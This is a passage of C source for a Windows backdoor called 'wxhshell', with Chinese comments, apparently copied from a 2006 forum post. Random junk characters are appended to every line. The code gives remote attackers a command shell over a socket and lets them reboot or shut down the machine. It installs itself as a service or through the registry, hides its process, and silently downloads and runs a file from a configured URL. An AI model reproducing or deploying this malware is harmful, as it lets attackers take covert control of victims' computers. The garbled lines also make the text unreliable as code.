      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UG,<\k&  
    break; \@eaSa  
  } /=i+7^  
  // 安装 />13?o#  
  case 'i': { 2 {I(A2  
    if(Install()) yh'P17N|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `0z8J*T]  
    else d7U%Q8?wUR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =[D '3JB  
    break; i^Ip+J+[  
    } Ia%S=xU{=  
  // 卸载 9e _8Z@|  
  case 'r': { 2zlBrjk;  
    if(Uninstall()) N ,0&xg3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,| Zkpn8  
    else "0sk(kT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !zR1CM  
    break; R[bI4|t  
    } #*zl;h1(  
  // 显示 wxhshell 所在路径 b9L" ?{  
  case 'p': { 9l&4mt;+&<  
    char svExeFile[MAX_PATH]; ;3P~eeQR  
    strcpy(svExeFile,"\n\r"); SKdh!*G  
      strcat(svExeFile,ExeFile); c*N>7IF,  
        send(wsh,svExeFile,strlen(svExeFile),0); XPfheV G  
    break; H3Zs m)+:  
    } J};=)xLX;  
  // 重启 Fs 95^T  
  case 'b': { d# >iFD+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (DTXc2)c  
    if(Boot(REBOOT)) z<jH{AU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lWRRB&8  
    else { F4|U\,g  
    closesocket(wsh);  C4.g}q  
    ExitThread(0); sqE? U*8.-  
    } ]N4?*S*jd)  
    break; nf,u'}psdJ  
    } ~}@cSv'(1  
  // 关机 ^)i1b:4  
  case 'd': { SMMvRF`7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i!7|YAu  
    if(Boot(SHUTDOWN)) lG/h[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>-k-X-[  
    else { 0)HZ5^J  
    closesocket(wsh); AD0pmD  
    ExitThread(0); cd3;uB4\,  
    } ZGgM- O1  
    break; L; (J6p]h  
    } uk<JV*R=  
  // 获取shell _I<LB0kgf.  
  case 's': { Ef"M e(  
    CmdShell(wsh); Jr.4Y>;}e3  
    closesocket(wsh); LR:meCOI  
    ExitThread(0); &Z%|H>+;T  
    break; o4Hp|iK&0  
  } Uf`~0=w  
  // 退出 4cQ|"sOzD  
  case 'x': { ]R%+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fKkH [  
    CloseIt(wsh); y=q iGi[Nc  
    break; -d8U Hc  
    } 2r*Yd(e  
  // 离开 fb;y*-?#  
  case 'q': { K)_DaTmi)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j3_vh<U\  
    closesocket(wsh); cwC-)#R']  
    WSACleanup(); WcZck{ehd  
    exit(1); o>?#$~XNv  
    break; eUZvJTE  
        } Z+M* z;  
  } {<#~Ya-  
  } $^Z ugD  
oJln"-M1nx  
  // 提示信息 dHJ#xmE!pP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)0-N!N#)  
} =ec"G2$?"  
  } |x/00XhS  
uh 3yiDj@a  
  return; TZ>_N;jTZ  
} m0[JiwPI  
)zYm]\@  
// shell模块句柄 G~FAChI8![  
int CmdShell(SOCKET sock) sUTfY|<7|  
{ *-lw2M9V  
STARTUPINFO si; Lju)q6  
ZeroMemory(&si,sizeof(si)); x17K8De  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kq4b`cn{_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K'u66%wAL  
PROCESS_INFORMATION ProcessInfo; )4CF*>*6V  
char cmdline[]="cmd"; TD6MP9L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s!eB8lkcT  
  return 0; 9%6W_ 0>  
} %5rC`9^  
c@<vFoq  
// 自身启动模式 _X"G(  
int StartFromService(void) rFl6xM;F  
{ n[tES6u  
typedef struct H;k-@J  
{ DB>.Uf"  
  DWORD ExitStatus; d%w#a3(  
  DWORD PebBaseAddress; A2{s ?L,  
  DWORD AffinityMask; [)KLmL%  
  DWORD BasePriority; #24 eogo~  
  ULONG UniqueProcessId; +L>?kr[i[  
  ULONG InheritedFromUniqueProcessId; % >}{SS  
}   PROCESS_BASIC_INFORMATION; S3F8Chk5  
w$j!89@)  
PROCNTQSIP NtQueryInformationProcess; f>kW\uC  
EI!e0 V1!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f.Feo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8-uRn38  
7%F8  
  HANDLE             hProcess; 6>R|B?I%  
  PROCESS_BASIC_INFORMATION pbi; 9aKt (g6  
R\^XF8n6/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ml\2%07  
  if(NULL == hInst ) return 0; H%^j yGS  
c$AwJhl^]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jh!'"7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aZBb@~Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4b<>gpQ  
o|O|e9m(  
  if (!NtQueryInformationProcess) return 0; ,'c?^ $J|z  
'BmLR{[2L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [r f.&  
  if(!hProcess) return 0; -ttH{SslM  
9:1[4o)~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W&HF*Aw  
jGaI6G'N  
  CloseHandle(hProcess); lk`,s  
W1;u%>Uh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c D0-g=&  
if(hProcess==NULL) return 0; ne-; gTP;  
8P[aX3T7G  
HMODULE hMod; <V_P)b8$1  
char procName[255];  HLsG<#  
unsigned long cbNeeded; 5ON\Ve_H  
at5>h   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m\xlSNW'q  
s6+`cC4  
  CloseHandle(hProcess); ro`2IE>  
\2huDNW& !  
if(strstr(procName,"services")) return 1; // 以服务启动 X^c2  
(>usa||  
  return 0; // 注册表启动 ^j>w<ljzz  
} TeXt'G=M  
}VI}O{  
// 主模块 j| X>:!4r  
int StartWxhshell(LPSTR lpCmdLine) Exu>%  
{ zc#$hIi  
  SOCKET wsl; DSX.84  
BOOL val=TRUE; \I[50eh|  
  int port=0; .QVZ!  
  struct sockaddr_in door; N_^s;Qj  
( {}Z '  
  if(wscfg.ws_autoins) Install(); xG"*w@fs7  
RwyRPc _  
port=atoi(lpCmdLine); l:$i}.C  
TOC2[m c'  
if(port<=0) port=wscfg.ws_port; NPY\ >pf  
f&ri=VJY\T  
  WSADATA data; U2TR>0l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  VsR8|Hn$  
k3 S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I2G:jMPy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4te QG  
  door.sin_family = AF_INET; 6X`i*T$.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5zk^zn)  
  door.sin_port = htons(port); H4{CiZ  
-H-:b7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { " s3eO  
closesocket(wsl); *uG!U%jY)  
return 1; eemw I  
} X+LG Z4]D  
R m^$Dn  
  if(listen(wsl,2) == INVALID_SOCKET) { 5@&{%99  
closesocket(wsl); & Y Y^Bd#  
return 1; !wNj;ST*  
} 'wm :Xa  
  Wxhshell(wsl); >.4mAO  
  WSACleanup(); \!Cc[n(f#  
!eE;MaS>  
return 0; ?vn9HhTD  
"Di8MMGOY  
} fqp!^-!X  
%ok??_}$}q  
// 以NT服务方式启动 i$ CN{c*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gR\-%<42  
{ mA2L~=v#  
DWORD   status = 0; s. ]<r5v7  
  DWORD   specificError = 0xfffffff; +$y%H  
Tt\h#E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SSo7 U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vv0+F6 @  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4M,Q{G|e  
  serviceStatus.dwWin32ExitCode     = 0; rO3.%B}  
  serviceStatus.dwServiceSpecificExitCode = 0; |0N6]%r  
  serviceStatus.dwCheckPoint       = 0; MFzJ 8^.1R  
  serviceStatus.dwWaitHint       = 0; b;k3B7<  
R.'-jvO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h}$g}f%$+  
  if (hServiceStatusHandle==0) return; :)=>,XwL8  
R;l;;dC=  
status = GetLastError(); l\t\DX"s_  
  if (status!=NO_ERROR) -'%>Fon  
{ F)n^pT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nkTpUbS'f?  
    serviceStatus.dwCheckPoint       = 0; u(W+hdTap=  
    serviceStatus.dwWaitHint       = 0; wY'w'%A?  
    serviceStatus.dwWin32ExitCode     = status; ?_V&~?r   
    serviceStatus.dwServiceSpecificExitCode = specificError; `G0GWh)`x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); egXbe)ld  
    return; [Zxv&$SQ  
  } Q}6!t$Vk  
1O,:fTG<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oqUF_kh  
  serviceStatus.dwCheckPoint       = 0; ;U)xZ _Ew~  
  serviceStatus.dwWaitHint       = 0; w 8B SY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W{W8\  
} 1LZ[i89&%  
#X t|"Z  
// 处理NT服务事件,比如:启动、停止 kH'zTO1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }N,$4h9Dj  
{ :}*   
switch(fdwControl) sFbN)Cx  
{ <N'v-9=2jl  
case SERVICE_CONTROL_STOP: XDQ5qfE|  
  serviceStatus.dwWin32ExitCode = 0; c$P68$FB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A}3dx!?7j  
  serviceStatus.dwCheckPoint   = 0; l' mdj!{&  
  serviceStatus.dwWaitHint     = 0; YM r2|VEU[  
  {  ,7h0y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j[Q9_0R~lR  
  } `~k`m{4.a  
  return; 6Q*Zy[=  
case SERVICE_CONTROL_PAUSE: D8 BmC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {3`cSm6c  
  break; SE<?l  
case SERVICE_CONTROL_CONTINUE: wG@f~$   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mj<T+Ohz  
  break; 67b w[#v  
case SERVICE_CONTROL_INTERROGATE: FKBI.}A?!'  
  break;  PrqyJ  
}; z;Jz^m-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9y+0Zj+.  
} 38E %]*5F  
m"/ o4  
// 标准应用程序主函数 L.?QZN%cN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;V0^uB.z  
{ W"n0x8~sV  
<q.Q,_cW  
// 获取操作系统版本 ?>/9ae^Bw  
OsIsNt=GetOsVer(); K;Fs5|gFU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lW|`8ykp  
?Gqq]ozm  
  // 从命令行安装 z3Zo64V~7  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q].p/-[(  
(Cb;=:3G  
  // 下载执行文件 \"pp-str  
if(wscfg.ws_downexe) { Mj6 0?k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MAQ(PIc>T  
  WinExec(wscfg.ws_filenam,SW_HIDE); JnIE6@g<y  
} `n?Rxhkwp  
G _-JR  
if(!OsIsNt) { hN^,'O  
// 如果时win9x,隐藏进程并且设置为注册表启动 .]w=+~h  
HideProc(); [9^lAhX  
StartWxhshell(lpCmdLine); ("KtJ  
} Bwl@Muw  
else 6UKZ0~R  
  if(StartFromService()) 5=_bK^Am  
  // 以服务方式启动 Tx>V$+al  
  StartServiceCtrlDispatcher(DispatchTable); {n\Ai3F-  
else gY&WH9sp?9  
  // 普通方式启动 s[bQO1g;*  
  StartWxhshell(lpCmdLine); \IaUsx"#o{  
ZM16 ~k  
return 0; mg]t)+PQ  
}
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只看该作者 1 发表于: 2006-10-10
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